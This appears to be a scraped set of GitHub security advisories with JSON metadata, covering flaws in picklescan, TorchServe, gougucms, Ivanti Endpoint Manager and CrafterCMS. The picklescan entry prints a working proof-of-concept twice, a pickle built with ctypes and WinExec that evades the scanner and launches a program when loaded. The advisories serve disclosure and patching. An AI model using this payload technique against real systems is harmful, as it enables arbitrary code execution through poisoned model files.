  "summary": "vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix"
}

GHSA-4675-36F9-WF6R

Vulnerability from github – Published: 2025-12-29 15:23 – Updated: 2026-06-18 14:44

Summary

Picklescan does not block ctypes

Details

Summary

Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC

import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        #methodcaller to invoke "__call__" on the function pointer.
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())

    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)

    print("Generated 'calc_exploit.pkl'")

except Exception as e:
    print(f"Generation failed: {e}")

This will create a pickle file which is not detected by the latest version of picklescan as malicious

import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.33"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-71323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T15:23:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n    def __reduce__(self):\n        #we go direct to the kerneeellllllll\n        return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n    def __reduce__(self):\n        return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n    def __reduce__(self):\n        #methodcaller to invoke \"__call__\" on the function pointer.\n        return (\n            operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n            (WinExecGetter(),)\n        )\n\ntry:\n    payload = pickle.dumps(PopCalc())\n    \n    with open(\"calc_exploit.pkl\", \"wb\") as f:\n        f.write(payload)\n        \n    print(\"Generated \u0027calc_exploit.pkl\u0027\")\n\nexcept Exception as e:\n    print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n\u003cimg width=\"1333\" height=\"677\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176\" /\u003e",
  "id": "GHSA-4675-36f9-wf6r",
  "modified": "2026-06-18T14:44:57Z",
  "published": "2025-12-29T15:23:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/pull/53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Picklescan does not block ctypes"
}

GHSA-4MQG-H5JF-J9M7

Vulnerability from github – Published: 2023-10-02 20:38 – Updated: 2023-10-02 20:38

Summary

TorchServe Pre-Auth Remote Code Execution

Details

Impact

Use of Open Source Library potentially exposed to RCE Issue: Use of a version of the SnakeYAML v1.31open source library with multiple issues that potentially exposes the user to unsafe deserialization of Java objects. This could allow third parties to execute arbitrary code on the target system. This issue is present in versions 0.3.0 to 0.8.1. Mitigation: A pull request to address this issue has been merged - https://github.com/pytorch/serve/pull/2523. TorchServe release 0.8.2 includes this fix.

Patches

TorchServe release 0.8.2 includes fixes to address the previously listed issue:

https://github.com/pytorch/serve/releases/tag/v0.8.2

Tags for upgraded DLC release User can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2: x86 GPU

v1.9-pt-ec2-2.0.1-inf-gpu-py310
v1.8-pt-sagemaker-2.0.1-inf-gpu-py310

x86 CPU

v1.8-pt-ec2-2.0.1-inf-cpu-py310
v1.7-pt-sagemaker-2.0.1-inf-cpu-py310

Graviton

v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310
v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310

Neuron

1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04
1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04
1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04

The full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images

References

https://github.com/pytorch/serve/pull/2523 https://github.com/pytorch/serve/releases/tag/v0.8.2 https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images

Credit

We would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution. If you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "torchserve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "fixed": "0.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-02T20:38:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Impact\n\n**Use of Open Source Library potentially exposed to RCE**\n    **Issue**: Use of a version of the SnakeYAML `v1.31 `open source library with multiple issues that potentially exposes the user to unsafe deserialization of Java objects. This could allow third parties to execute arbitrary code on the target system. This issue is present in versions `0.3.0` to `0.8.1`.\n    **Mitigation**: A pull request to address this issue has been merged - https://github.com/pytorch/serve/pull/2523. TorchServe release `0.8.2` includes this fix.\n\n## Patches\n\n## TorchServe release 0.8.2 includes fixes to address the previously listed issue:\n\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\n\n**Tags for upgraded DLC release**\nUser can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2:\nx86 GPU\n\n* v1.9-pt-ec2-2.0.1-inf-gpu-py310\n* v1.8-pt-sagemaker-2.0.1-inf-gpu-py310\n\nx86 CPU\n\n* v1.8-pt-ec2-2.0.1-inf-cpu-py310\n* v1.7-pt-sagemaker-2.0.1-inf-cpu-py310\n\nGraviton\n\n* v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310\n* v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310\n\nNeuron\n\n* 1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n\nThe full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## References\nhttps://github.com/pytorch/serve/pull/2523\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\nhttps://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## Credit\nWe would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution.\nIf you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting[)](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
  "id": "GHSA-4mqg-h5jf-j9m7",
  "modified": "2023-10-02T20:38:07Z",
  "published": "2023-10-02T20:38:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pytorch/serve/security/advisories/GHSA-4mqg-h5jf-j9m7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pytorch/serve/pull/2523"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pytorch/serve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TorchServe Pre-Auth Remote Code Execution"
}

GHSA-4Q9H-CRQ4-9XJQ

Vulnerability from github – Published: 2026-04-01 03:31 – Updated: 2026-04-01 03:31

Details

A vulnerability has been found in gougucms 4.08.18. This affects the function reg_submit of the file gougucms-master\app\home\controller\Login.php of the component User Registration Handler. Such manipulation of the argument level leads to dynamically-determined object attributes. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-5248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T01:16:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in gougucms 4.08.18. This affects the function reg_submit of the file gougucms-master\\app\\home\\controller\\Login.php of the component User Registration Handler. Such manipulation of the argument level leads to dynamically-determined object attributes. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-4q9h-crq4-9xjq",
  "modified": "2026-04-01T03:31:40Z",
  "published": "2026-04-01T03:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5248"
    },
    {
      "type": "WEB",
      "url": "https://thinhneee.github.io/posts/gougu-mass-assign"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/780589"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354429"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/354429/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-562R-F8R6-C7WJ

Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30

Details

Improper control of dynamically managed code resources in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote, unauthenticated attacker to write arbitrary files on the server, potentially leading to remote code execution. User interaction is required.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-13659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T16:17:35Z",
    "severity": "HIGH"
  },
  "details": "Improper control of dynamically managed code resources in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote, unauthenticated attacker to write arbitrary files on the server, potentially leading to remote code execution. User interaction is required.",
  "id": "GHSA-562r-f8r6-c7wj",
  "modified": "2025-12-09T18:30:35Z",
  "published": "2025-12-09T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13659"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Security-Advisory-EPM-December-2025-for-EPM-2024"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5644-3VGQ-2PH5

Vulnerability from github – Published: 2025-06-19 21:31 – Updated: 2025-06-20 13:28

Summary

Crafter Studio Groovy Sandbox Bypass

Details

Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.

By inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).

This issue affects CrafterCMS: from 4.0.0 through 4.2.2.

Severity

7.3 (High)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.craftercms:crafter-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-20T13:28:38Z",
    "nvd_published_at": "2025-06-19T21:15:27Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.\n\nBy inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).\n\nThis issue affects CrafterCMS: from 4.0.0 through 4.2.2.",
  "id": "GHSA-5644-3vgq-2ph5",
  "modified": "2025-06-20T13:28:38Z",
  "published": "2025-06-19T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftercms/studio/commit/471bbad07cf1f3b420529a020c1409ad57d48a4e"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/current/security/advisory.html#cv-2025061901"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftercms/studio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crafter Studio Groovy Sandbox Bypass"
}

GHSA-58PG-75F2-3JXJ

Vulnerability from github – Published: 2021-12-03 00:00 – Updated: 2021-12-04 00:01

Details

Authenticated users with Administrator or Developer roles may execute OS commands by SPEL Expression in Spring beans. SPEL Expression does not have security restrictions, which will cause attackers to execute arbitrary commands remotely (RCE).

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-23258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated users with Administrator or Developer roles may execute OS commands by SPEL Expression in Spring beans. SPEL Expression does not have security restrictions, which will cause attackers to execute arbitrary commands remotely (RCE).",
  "id": "GHSA-58pg-75f2-3jxj",
  "modified": "2021-12-04T00:01:15Z",
  "published": "2021-12-03T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23258"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120101"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}